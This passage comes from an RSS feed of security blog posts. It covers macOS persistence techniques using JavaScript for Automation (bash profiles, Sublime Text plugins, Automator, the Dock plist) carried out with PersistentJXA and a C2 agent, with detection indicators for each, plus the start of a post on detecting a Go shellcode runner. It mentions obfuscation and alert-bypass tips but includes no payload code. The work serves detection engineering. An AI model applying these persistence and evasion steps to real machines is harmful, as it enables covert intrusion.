href="https://developer.apple.com/documentation/endpointsecurity/es_event_type_t/es_event_type_notify_fork"><strong>ES_EVENT_TYPE_NOTIFY_FORK</strong></a> = process::fork</li></ul><p><strong>Note</strong>: Although Crescendo does not currently capture events such as <a href="https://developer.apple.com/documentation/endpointsecurity/es_event_type_t/es_event_type_notify_mmap">ES_EVENT_TYPE_NOTIFY_MMAP</a>, <a href="https://developer.apple.com/documentation/endpointsecurity/es_event_type_t/es_event_type_notify_write?language=objc">ES_EVENT_TYPE_NOTIFY_WRITE</a>, and <br><a href="https://developer.apple.com/documentation/endpointsecurity/es_event_type_t/es_event_type_notify_exec?language=occ">ES_EVENT_TYPE_NOTIFY_EXEC</a> it captures sufficient events for this persistence method. For additional events coverage, I highly recommend using Xorrior’s <a href="https://bitbucket.org/xorrior/appmon/src/master/">Appmon</a>.</p><p>The following items focus on the persistence method’s execution as the actual malicious application artifacts will vary depending on what the attacker developed.</p><p>First, plutil converts the Dock plist to Extensible Markup Language (XML). The XML format is easier to manipulate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2JEFGv-bHljWWXqMXDnK5w.png" /><figcaption>plutil converting current com.apple.dock.plist to xml format</figcaption></figure><p>Additionally, a process creation is logged for the temp9876 file creation as well.</p><p>DockPersist.js creates a randomly named file under /private/tmp/. The script modifies the XML version of the plist and saves it to this random file name. In this instance, temp0wsn4p contains the malicious plist in XML format, so we overwrite this file with the binary format version required for correctly loading in the Dock.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8gguf06BpbzZ0LmTfbB4Aw.png" /><figcaption>plutil converting the modified plist back to binary format</figcaption></figure><p>Next, DockPersist.js removes the existing plist at ~/Library/Preferences/com.apple.dock.plist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*9clOlVbFVDFAiB8vExsXRA.png" /><figcaption>Deleting the current com.apple.dock.plist</figcaption></figure><p>ESF captures saving the new malicious plist in binary format to ~/Library/Preferences/com.apple.dock.plist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*Oi6QvpMEZyeW1Vb0UbMuUg.png" /><figcaption>Saving the modified com.apple.dock.plist</figcaption></figure><p>Lastly, since we specified reloading the Dock in the function call, killall is invoked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*tiws-_X5QH-54XxMqQ3zrg.png" /><figcaption>Reloading the Dock</figcaption></figure><p>These events serve as a starting point for building detections. The critical binaries utilized are plutil and killall. Additionally, the file creation, deletion, and modification events can be leveraged for detections as well. Furthermore, before the persistence method itself, additional detections can be developed surrounding the various ways of uploading the malicious application to the target.</p><h4>Normal Execution</h4><p>The question you may be wondering is now that we know how ESF captures the known malicious behavior, how does ESF represent a normal execution?</p><p>As part of normal operations, cfprefsd (Core Foundation Preferences Daemon) will trigger file::rename events (file overwrite) on the com.apple.dock.plist. These events are also triggered when a user manually makes changes to the Dock through the GUI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DKogi56ASPEARFAKQyvHcw.png" /><figcaption>Normal modification of com.apple.dock.plist</figcaption></figure><h4>Evasion Attempts</h4><p>An adversary could perform the plist modification tasks off-target and upload the modified plist to the dock plist location to reduce the number of potential indicators. However, this will still result in the file::rename event, which won’t be using the cfprefsd process we identified in standard execution. Modifications of the plist outside of the cfprefsd process may be a good starting point for identifying malicious behavior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*fFEqrn2FilufeQMxfo7bEg.png" /><figcaption>Simple overwrite of com.apple.dock.plist through Apfell agent</figcaption></figure><h4>Visual indicators</h4><p>The PoC application’s execution results in two instances of Safari appearing in the Dock.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*_Iq__pYaFDXNOGiB-sErBQ.png" /><figcaption>Dock with both the malicious Safari app and the valid one</figcaption></figure><p>The first Safari is the malicious app, which is in the persistent-apps section of the plist, and the second is the actual Safari, which appears in the recent-apps section of the plist.</p><h3>Miscellaneous Osascript Indicator</h3><p>Some interesting items I noticed after digging through ESF logs were writes to a SQLite database. If an adversary is leveraging osascript, it may be beneficial to note that osascript has a cache database at ~/Library/Caches/com.apple.osascript/Cache.db.¹</p><p>Upon inspection of this database using<a href="https://sqlitebrowser.org/"> DB Browser for SQLite</a><em>, </em>I noticed that the cfurl_cache_response table contains our Mythic server’s IP address and a short log of the GET requests used for Command and Control (C2) communications in Mythic. This cache provides a valuable resource for forensic investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MT6RiD9Wvsirz-MY216F3A.png" /><figcaption>SQLite DB in DB Browser showing evidence of C2 comms</figcaption></figure><p>The sqlite3 command-line tool can also view these entries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C_mxg0n8LeloZ3wBDyDN6Q.png" /><figcaption>SQLite DB using sqlite command line tool showing evidence of C2 comms</figcaption></figure><h3>Conclusion</h3><p>The purpose of this post was to display a persistence method similar to .LNK files on Windows. More importantly, I hope that the persistence indicators shown can help those developing detections for this technique. If you come across any additional indicators that this persistence method creates that are unmentioned above, please let me know.</p><h3>References / Resources:</h3><ul><li><a href="https://posts.specterops.io/detection-engineering-using-apples-endpoint-security-framework-affdbcb18b02">https://posts.specterops.io/detection-engineering-using-apples-endpoint-security-framework-affdbcb18b02</a></li><li><a href="https://medium.com/red-teaming-with-a-blue-team-mentaility/taking-the-macos-endpoint-security-framework-for-a-quick-spin-802a462dba06">https://medium.com/red-teaming-with-a-blue-team-mentaility/taking-the-macos-endpoint-security-framework-for-a-quick-spin-802a462dba06</a></li><li><a href="https://attack.mitre.org/techniques/T1547/009/">https://attack.mitre.org/techniques/T1547/009/</a></li><li><a href="https://developer.apple.com/documentation/endpointsecurity?language=objc">https://developer.apple.com/documentation/endpointsecurity?language=objc</a></li><li><a href="https://github.com/SuprHackerSteve/Crescendo">https://github.com/SuprHackerSteve/Crescendo</a></li><li><a href="https://bitbucket.org/xorrior/appmon/src/master/">https://bitbucket.org/xorrior/appmon/src/master/</a></li><li><a href="https://sqlitebrowser.org/">https://sqlitebrowser.org/</a></li><li><a href="https://eclecticlight.co/2017/07/06/sticky-preferences-why-trashing-or-editing-them-may-not-change-anything/">https://eclecticlight.co/2017/07/06/sticky-preferences-why-trashing-or-editing-them-may-not-change-anything/</a></li></ul><p>[1] These entries are only created in the ~/Library/Caches/com.apple.osascript/Cache.db database if the adversary used the osascript binary. Upon the suggestion of <a href="https://twitter.com/its_a_feature_">its-a-feature</a>, I dug into the logging if OSAKit is used instead of osascript. For testing, I loaded a JXA dylib through a <a href="https://github.com/D00MFist/PersistentJXA/blob/master/SublimeTextPluginPersistence.js">Sublime Text Plugin</a>. Instead of entries in the osascript cache database, the C2 entries were in a similarly structured database at ~/Library/Caches/com.sublimetext.3/Cache.db.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9aa79c24bdc1" width="1" height="1" alt=""><hr><p><a href="https://medium.com/specter-ops-posts/are-you-docking-kidding-me-9aa79c24bdc1">Are You Docking Kidding Me?</a> was originally published in <a href="https://medium.com/specter-ops-posts">Posts By SpecterOps Team Members</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Persistent JXA]]></title>
            <link>https://medium.com/specter-ops-posts/persistent-jxa-66e1c3cd1cf5?source=rss-c1f5c2dadf0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/66e1c3cd1cf5</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[jxa]]></category>
            <dc:creator><![CDATA[Leo Pitt]]></dc:creator>
            <pubDate>Thu, 06 Aug 2020 13:24:39 GMT</pubDate>
            <atom:updated>2020-08-06T15:39:54.868Z</atom:updated>
            <content:encoded><![CDATA[<p>A poor man’s Powershell for macOS</p><h4>Introduction</h4><p>Over the last year or so, I have been diving into macOS tradecraft. Through my research, an area of particular interest is the use of JavaScript for Automation (JXA) on macOS. My goal was to fulfill an operational need to decrease dependency on Python and further my understanding of macOS tradecraft that I can hopefully build on. This post serves as an overview of the benefits of JXA for macOS tradecraft development, highlights a well-known persistence method, and a few lesser-known JXA execution methods.</p><h4>A Brief History of JXA</h4><p>MacOS Yosemite (10.10) introduced JXA. Its implementation allows users to control applications and the operating system using the JavaScript language. It can be invoked via osascript, a compiled script (.scpt), or a compiled Application (.app). Additionally, it can be leveraged in OSAKit from within other macho binaries without spawning the osascript binary.</p><h4>Why JXA?</h4><p>The preferred method for post-exploitation macOS tradecraft is scripting languages over binaries. They allow attackers to avoid leveraging unsigned code and avoid going through the code signing cert process with Apple. Compiled binaries are subject to more scrutiny due to the built-in protections on macOS (Gatekeeper, Notarization, and XProtect).</p><p>As mentioned previously, Python was the favorite for macOS post-exploitation tradecraft. Python was great for macOS tradecraft as it was easy to develop with and installed by default of macOS. However, the following note from the macOS Catalina (10.15) release indicates Apple is slowly migrating away from having Python and other scripting languages included by default.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/0*pYO4ib7ldCYaBDxp" /><figcaption>Excerpt from macOS Catalina (10.15) Release Notes</figcaption></figure><p>Upon looking for future areas of tradecraft development, another option that arose was <a href="https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/">AppleScript</a>. AppleScript has the same benefits of JXA but is quirky and, in my opinion, harder to develop with than JXA. It’s quirky because it attempts to use “natural language.” The best description I heard was it is trying to script through a series of conversations with Siri.</p><p>Based on those considerations, I turned towards JXA. JXA has similarities with early Powershell versions. It is not as robust as Powershell but allows for a convenient method to interact with macOS. JXA has a built-in Objective-C bridge that enables you to access the file system and Cocoa frameworks, such as Foundation and AppKit, which allows us to call Apple APIs without building binaries. Similar to Powershell commands, you can even obfuscate your commands using a simple JavaScript <a href="https://obfuscator.io/">obfuscator</a> to slow down defenders.</p><p>There are a few projects that leverage JXA for macOS tradecraft. <a href="https://github.com/its-a-feature/HealthInspector">HealthInspector</a> and <a href="https://github.com/its-a-feature/Orchard">Orchard</a> from <a href="https://twitter.com/its_a_feature_">its-a-feature</a> leverage JXA for host situational awareness and Active Directory enumeration, respectively. Additionally, the <a href="https://github.com/its-a-feature/Apfell">Apfell</a> JXA agent which facilitates Command and Control (C2).</p><h3>Persistent JXA</h3><p>To further develop my understanding of established macOS tradecraft, I developed the <a href="https://github.com/D00MFist/PersistentJXA">PersistentJXA</a> project.</p><p>This section goes through a couple of usage examples as well as the related detections.</p><h3>Bash Profiles for Persistence</h3><h4>Background</h4><p>An older persistence method on macOS is the use of bash profiles. As a brief <a href="https://attack.mitre.org/techniques/T1546/004/">background</a>, the ~/.bash_profile is a shell script that contains shell commands and is executed in the user’s context when a new shell opens. Attackers can abuse this by adding malicious commands to the profile to maintain persistence.</p><p>The benefit of this persistence mechanism is that if an organization allows end-users to modify bash profiles, mitigation, and even detection becomes difficult due to the number of false positives. In my testing, I have found it easier to detect the actions the profile performs than the modification of the bash profile itself.</p><p>The implementation within PersistentJXA checks to determine if osascript is running; if not, it executes our persistence action (assumed osascript) upon opening a new terminal window. Since macOS Catalina, zshell is the default shell. If the script detects the host as macOS Catalina, then ~/.zshenv is used instead.</p><h4>Usage</h4><p>The Apfell JXA agent can leverage all of the scripts within the PersistentJXA project. To gain access to the function, use the jsimport command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*u_romVSl5OOV7hAZ4XLcpw.png" /><figcaption>Importing Bash Profile Persistence Script</figcaption></figure><p>After importing, we can use the jsimport_call command to run the imported function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MREMKY0CFRHZpf_M_p9jaA.png" /><figcaption>Calling Script and Setting Persistence Action</figcaption></figure><p>The PersistentJXA implementation of bash profile persistence creates two shell scripts in a created hidden directory. The apple.sh script provides the osascript monitoring action and the update.sh contains the user-specified persistence action.</p><h4>Detection</h4><p>Again the modification of the ~/.bash_profile can be tracked but is not scalable. However, other elements of the persistence method can be detected.</p><p>osquery does not capture process events by default. For my testing, I made modifications to the Palantir osquery configuration found <a href="https://gist.github.com/D00MFist/bd44a3ca888288b649227b8a8728c38f">here</a> and <a href="https://gist.github.com/D00MFist/f62a530cd09a18222ce252b13ff61cde">here</a>. I then forwarded the osquery logs to Splunk.</p><p>osquery captures the chmod actions on the apple.sh and update.sh scripts within the created hidden directory ./security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KRimT6Bs2Pp62yAn-kNzDQ.png" /><figcaption>Process Events to Make Scripts executable within osquery</figcaption></figure><p>Additionally, osquery captures those scripts’ execution events upon opening a new terminal window in which osascript is not already running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HwMhCoSNSlGwzjXbGlNrxA.png" /><figcaption>Execution of apple.sh which contains the osascript monitoring function</figcaption></figure><p>You may have noticed that the separate actions have the same Process Identifier (PID). Additional details on macOS process execution and why different commands can have the same PID is discussed <a href="https://objective-see.com/blog/blog_0x4A.html">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UKY5VxwJR-N2nmgFmeASEA.png" /><figcaption>Execution for update.sh which contains the persistence action</figcaption></figure><p>Lastly, osquery captures the launching of the persistence action (Apfell JXA payload). Flagging on the osascript invocation would be the most straightforward detection approach and would still occur if the persistence action was placed directly in the bash profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ep7Er3HLGVlSWXuFCcTOnQ.png" /><figcaption>JXA command to pull and execute Apfell payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*ZuF6yF-5rf2de3YmncET4A.png" /><figcaption>Agent in Apfell running in the osascript PID 1200</figcaption></figure><h3>Sublime Plugin for Persistence</h3><h4>Background</h4><p>Another persistence method is abusing sublime plugins. This method discovered by Chris Ross (<a href="https://twitter.com/xorrior">xorrior</a>) exploits the ability of end-users creating plugins for Sublime.</p><p>The Sublime Text Editor provides the ability to create plugins that Sublime loads upon application execution. Adversaries can take advantage of this mechanism to plant malicious plugins to gain persistence. The abuse of Sublime Text Editor plugins requires a plugin at ~/Library/Application\ Support\ Text\ &lt;2 or 3&gt;\Packages. These plugins are typically python scripts. If a malicious plugin is placed in the Packages directory and is formatted to load our malicious dynamic library (dylib), then Sublime will execute our code upon initialization by the user under the context of Sublime plugin_host.</p><h4>Usage</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*tN86MKv5A1ZY8wsH4Uy_Nw.png" /><figcaption>Importing Sublime Plugin Persistence Script</figcaption></figure><p>This persistence method requires uploading/creating a dylib on the target. After importing, we can use the jsimport_call command to run the imported function, specifying the targeted dylib location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*j1Pi0Y4w1fZ5UGLuZLVyng.png" /><figcaption>Calling Script and Setting Persistence Action</figcaption></figure><p>The PersistentJXA implementation creates a fake plugin called PrettyText to load the dylib.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ngWZcw2osxeJ3qFdN7I8Lg.png" /><figcaption>Confirmation of Successful Sublime Text Plugin Persistence Execution</figcaption></figure><h4>Detection</h4><p>From <a href="https://themittenmac.com/incident-response-with-truetree/">Truetree</a>, we can follow the process execution from Finder to Sublime Text and ultimately to the Sublime Text plugin_host, which is PID 661.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QRGmb-Qsd2B5UI67EY_1xg.png" /><figcaption>TrueTree Excerpt of Sublime Plugin Execution</figcaption></figure><p>Additionally, we can monitor the creation of Sublime plugins within the packages folder, but your mileage will vary depending on use in the environment. Also, network connections under the plugin host process is a nontypical occurrence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B_FKWuBVwzJnxhkRQ9aqdg.png" /><figcaption><a href="https://github.com/richiercyrus/Venator-Swift">Venator</a> Excerpt showing network connection for PID 661</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*_HFeUNG8QPEPUt4Fxakwpw.png" /><figcaption>Agent in Apfell running in the plugin_host PID 661</figcaption></figure><h3>Sublime Application Script for Persistence</h3><h4>Background</h4><p>Another fun method is using the Sublime application script for persistence. This method, discovered by <a href="https://theevilbit.github.io/posts/macos_persisting_through-application_script_files/">theevilbit</a>, allows us to simply execute our JXA payload on Sublime startup without requiring a dylib on the target. Through the modification of the application script located at /Applications/Sublime\ Text.app/Contents/MacOS/sublime.py, we can have our payload executed when the target user starts Sublime.</p><h4>Usage</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*VM7CjeU1MQtmeaYxn_IhWw.png" /><figcaption>Importing Sublime Plugin Persistence Script</figcaption></figure><p>Next, call the function and specify our persistence action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hBLjCLnG-vWLldoYJkzUUQ.png" /><figcaption>Calling Script and Setting Persistence Action</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gzepSUjTKV9sPit5SNt8Og.png" /><figcaption>Confirmation of Successful Sublime Text Plugin Persistence Execution</figcaption></figure><h4>Detection</h4><p>This method follows a similar process tree as the plugin method except osascript is a child of Sublime Text. We can see the process execution from Finder to Sublime Text to osascript, PID 2212.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6qBzZ2OH0QKe9togeBW6ZQ.png" /><figcaption>TrueTree excerpt showing execution of our payload</figcaption></figure><p>Furthermore, osquery captures the launching of our payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w_lOuzpPx_kmjGsE849aDg.png" /><figcaption>Process Events to Execute from osquery in Splunk</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NSM9bsEKnneLZKWg1g0HYw.png" /><figcaption>Agent in Apfell running in the osascript PID 2212</figcaption></figure><p>If enabled, another artifact would be the file modification of the sublime.py script, which is not typically modified unless the entire Sublime package is under a change.</p><h3>Automator Workflows for Persistence</h3><p>Through my research, I found that Automator can execute JXA as well. Automator allows for the completion of tasks through workflow files. The actions can interact with a variety of apps and parts of macOS. Perhaps unknown to some, there is a command-line tool for Automator. It is vastly reduced compared to its GUI counterpart but allows for the execution of workflow files.</p><p>We can create a workflow in the Automator GUI that will run our JXA payload and leverage the Automator command-line tool to execute. This method is merely replacing osascript command-line usage with Automator for a command-line detection perspective. Although simple, it is a useful option to bypass any of the alerts only looking at osascript.</p><p>Within the PersistentJXA project is a workflow template, which is a modified version of the one created through the Automator GUI.</p><p>To create through the workflow through Automator, first, we select the workflow template.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P10QnohEY-U33JAcBTy1Vw.png" /><figcaption>Workflow option within GUI for Automator</figcaption></figure><p>Next, we select the Run JavaScript action and paste our JXA payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qE4UdGMq2Ym3TU1b7bwTaw.png" /><figcaption>Inserting Apfell payload into Automator</figcaption></figure><p>After creation, we can take out the created document.wflow file under &lt;FileName&gt;.workflow/Contents/, upload to the target, and invoke using the command line Automator binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kb4qSXoP05qi_Vz7PRJDow.png" /><figcaption>Agent in Apfell running in com.automator.runner.xpc PID 2569</figcaption></figure><h4>Detection</h4><p>Command-line detection for Automator binary is a simple alert as its usage is probably uncommon in environments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AYd3q71GqwuV4X9Ojic8OQ.png" /><figcaption>osquery excerpt capturing Automator execution</figcaption></figure><p>Another indicator with this method is due to the long-running processes resulting in the “cog” indicator. As noted in the post regarding <a href="https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d">folder actions</a>, longer running processes result in an icon in the top menu bar indicating that something is processing, and if you click on it, you can see the workflow name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*__lrPoCqWTTZ17hs6fPGow.png" /><figcaption>Spinning cog wheel highlighting long-running process</figcaption></figure><p>As far as the process tree, the execution of Automator shows a child of the terminal app, but the com.automator.runner.xpc PID 2569 in which our payload is executing under is not a child of Automator PID 2658 yet appears to be a separate child of the terminal app. However, killing the Automator process kills the runner, which is what our payload is running in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FSCgtJQuF1WpuumZoOvzCg.png" /><figcaption>TrueTree excerpt detailing the execution of the Automator workflow</figcaption></figure><h3>Conclusion</h3><p>The purpose of this post was to display the benefits of JXA while highlighting some lesser-known persistence methods on macOS. By no means are the implementations within the PersistentJXA project perfect. I’m still new to macOS tradecraft and JXA development. If you have any thoughts on improvements/ additions, I am open to pull requests 😃. Regardless, I hope this post serves as a starting point for those interested in reviewing some macOS persistence methods and provides a starting point on some indicators to aid detections of malicious behavior.</p><h3>References / Resources:</h3><ul><li><a href="https://github.com/JXA-Cookbook/JXA-Cookbook">https://github.com/JXA-Cookbook/JXA-Cookbook</a></li><li><a href="https://wiki.keyboardmaestro.com/JavaScript_for_Automation">https://wiki.keyboardmaestro.com/JavaScript_for_Automation</a></li><li><a href="https://developer.apple.com/library/archive/releasenotes/InterapplicationCommunication/RN-JavaScriptForAutomation/Articles/Introduction.html">https://developer.apple.com/library/archive/releasenotes/InterapplicationCommunication/RN-JavaScriptForAutomation/Articles/Introduction.html</a></li><li><a href="https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/">https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/</a></li><li><a href="https://developer.apple.com/documentation/macos-release-notes/macos-catalina-10_15-release-notes">https://developer.apple.com/documentation/macos-release-notes/macos-catalina-10_15-release-notes</a></li><li><a href="https://hackmag.com/coding/getting-to-grips-with-javascript-automation-for-os-x/">https://hackmag.com/coding/getting-to-grips-with-javascript-automation-for-os-x/</a></li><li><a href="https://objective-see.com/blog/blog_0x4A.html">https://objective-see.com/blog/blog_0x4A.html</a></li><li><a href="https://github.com/its-a-feature">https://github.com/its-a-feature</a></li><li><a href="https://osquery.readthedocs.io/en/stable/deployment/process-auditing/">https://osquery.readthedocs.io/en/stable/deployment/process-auditing/</a><br> <a href="https://medium.com/@zercurity/process-monitoring-with-osquery-22c6f38fc239">https://medium.com/@zercurity/process-monitoring-with-osquery-22c6f38fc239</a></li><li><a href="https://github.com/palantir/osquery-configuration">https://github.com/palantir/osquery-configuration</a></li><li><a href="https://github.com/richiercyrus/Venator-Swift">https://github.com/richiercyrus/Venator-Swift</a></li><li><a href="https://themittenmac.com/incident-response-with-truetree/">https://themittenmac.com/incident-response-with-truetree/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66e1c3cd1cf5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/specter-ops-posts/persistent-jxa-66e1c3cd1cf5">Persistent JXA</a> was originally published in <a href="https://medium.com/specter-ops-posts">Posts By SpecterOps Team Members</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GOing 4 A Hunt]]></title>
            <link>https://medium.com/@D00MFist/going-4-a-hunt-7bc22426a7e5?source=rss-c1f5c2dadf0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/7bc22426a7e5</guid>
            <category><![CDATA[detection]]></category>
            <category><![CDATA[go]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[forensics]]></category>
            <dc:creator><![CDATA[Leo Pitt]]></dc:creator>
            <pubDate>Mon, 04 May 2020 17:38:56 GMT</pubDate>
            <atom:updated>2020-05-04T17:38:56.717Z</atom:updated>
            <content:encoded><![CDATA[<p>Hunting for my GO Shellcode Runner</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*6k8E0ZC17I3-DfX3pLk5FA.png" /></figure><h3>Introduction</h3><p>This post serves as a companion to my previous post on creating a shellcode runner in <a href="https://medium.com/@D00MFist/going-4-a-run-5d425298f1d4">GO</a>. No offensive post is complete without covering the defensive portion. This post highlights methods to aid in detecting each of the shellcode runner components. These detections are not all-encompassing but serve more to highlight the various indicators/artifacts that the shellcode runner creates. Rather than broad detections to detect multiple variations of a specific technique, these detections skew towards precise for the <a href="https://github.com/D00MFist/Go4aRun">Go4ARun</a> runner. Please leave a comment if there are any additional artifacts that you come across that Go4ARun creates.</p><h3>Shellcode Encryption</h3><p>Detecting shellcode is typically done using static analysis. It involves comparing flagged shellcode templates to a dictionary of <em>known bad indicators</em>. Although not a stable mechanism to rely on, flagging on shellcode is useful to establish a baseline and to catch defaults. There are various blogs on how the smallest change can throw off these brittle detections. Flagging on shellcode is a brittle indicator because the attacker controls it and thus can be easily changed. We are more interested in areas in which the attacker cannot modify to perform a specific technique.</p><h3>Block DLLs</h3><p>As a quick refresher, the <em>block Dynamic-Link Libraries (DLLs</em>) mechanism in the shellcode runner is an attempt to block third party DLLs from injecting into our target process. As stated in the previous <a href="https://medium.com/@D00MFist/going-4-a-run-5d425298f1d4">post</a>, the effectiveness of this evasion method is entirely dependent on the Endpoint Detection and Response (EDR) solution using userspace hooks via DLL injection.</p><p>A simple detection would be Application Programming Interface (API) monitoring for theUpdateProcThreadAttributeAPI call. API monitoring is a standard function of EDR solutions. Using <a href="http://www.rohitab.com/apimonitor">API Monitor</a>, we can see the API calls of RemoteThread.exe, which is the Go4ARun shellcode runner. We can see theUpdateProcThreadAttributeAPI call, which updates the attributes for process and thread creation. We can see that the PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY parameter used to update the mitigation policy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YFrMy8iCXzrRXvB3wyArLQ.png" /><figcaption>UpdateProcThreadAttribute API with the Mitigation Policy set as a parameter.</figcaption></figure><p>Using PowerShell’s Get-ProcessMitigation cmdlet is another method of detection, as described by <a href="https://ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes">ired.team</a>. This cmdlet can enumerate the mitigation settings of running processes. With some small modifications to their example, we can see which running processes have the<a href="https://gist.github.com/D00MFist/b6433f89ee4c20bfc197bf7029770ff8">MicrosoftSignedOnly</a> or the <a href="https://gist.github.com/D00MFist/63f56a081b3c2cf3ec0afb0af8329ecd">AllowStoreSignedBinaries</a> policies set. These policies allow for only Microsoft Signed binaries to inject into the process or only allow Microsoft Store Binaries to inject into our process, respectively.</p><p>RemoteThread.exe is executed, which used the default of Notepad as the process to apply the mitigation policy and inject our shellcode. Based on my testing, a few applications legitimately use these mitigation policies: Chrome, Slack, and Microsoft Edge (which includes browser_broker). After running the PowerShell commands, we can see that the Notepad process is uncharacteristically running with the MicrosoftSignedOnly mitigation policy set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*eEd5VzOcET92x_5Bu5JHSA.png" /><figcaption>Notepad (5988) has the MicrosoftSignedOnly policy set (Block non-ms Field Header).</figcaption></figure><p>After changing the shellcode runner only to allow Microsoft Store Binaries, we can see that the Notepad process is running with the <a href="https://gist.github.com/D00MFist/63f56a081b3c2cf3ec0afb0af8329ecd">AllowStoreSignedBinaries</a> mitigation policy set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*srcmh639TymMX3Y4Xf0QCQ.png" /><figcaption>Notepad (5864) has the AllowStoreSignedBinaries policy set (Only MS Store Field Header).</figcaption></figure><h3>Spoof Parent Process</h3><p>Parent Process Spoofing is an evasion technique that abuses the Microsoft API calls to assign the parent of a new process explicitly. According to MITRE <a href="https://attack.mitre.org/beta/techniques/T1134/004/">ATT&amp;CK</a>, it states that Event Tracing for Windows (ETW) is an excellent data source for detection purposes. ETW is the mechanism Windows uses to trace and log system events. ETW is preferred because Windows Security Logs, Sysmon, Task Manager, Process Explorer, and Process Hacker all show the spoofed parent process as the legitimate parent. I was able to get the essential information by leveraging PowerShell.</p><p>For my testing, Explorer is the target to become the spoofed parent of the Notepad process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*QyzEW50GC87MU0GQFIlgzg.png" /><figcaption>Target for Parent Spoofing is Explorer (4068)</figcaption></figure><p>The specific provider of interest is Microsoft-Windows-Kernel-Process. Leveraging the code from <a href="https://blog.f-secure.com/detecting-parent-pid-spoofing/">F-secure</a>, I modified the PowerShell <a href="https://gist.github.com/D00MFist/ed4de45eaa300f8cc601ee469eb6735f">script </a>to monitor for the ETW events.</p><p>As a baseline, I opened Notepad from File Explorer to view the ETW event of normal execution:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oa3TuHITVN1U2LJrMkh4Bg.png" /><figcaption>Normal Notepad execution with Explorer as the parent</figcaption></figure><p>The excerpt of the ETW event above shows that within normal execution, the ParentProcessID and the Event Header ProcessID both correlate to 4068, which is Explorer.</p><p>Next I launched RemoteThread.exe from File Explorer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u1Jis0m2LPnVkdAJ4oPusw.png" /><figcaption>RemoteThread.exe (8628) launched by Explorer (4068)</figcaption></figure><p>The ETW event above indicates that Explorer (Event Header ProcessID 4068 and ParentProcessID 4068) starts RemoteThread.exe, which has a ProcessID of 8628. That’s legitimate, but the capturing of the 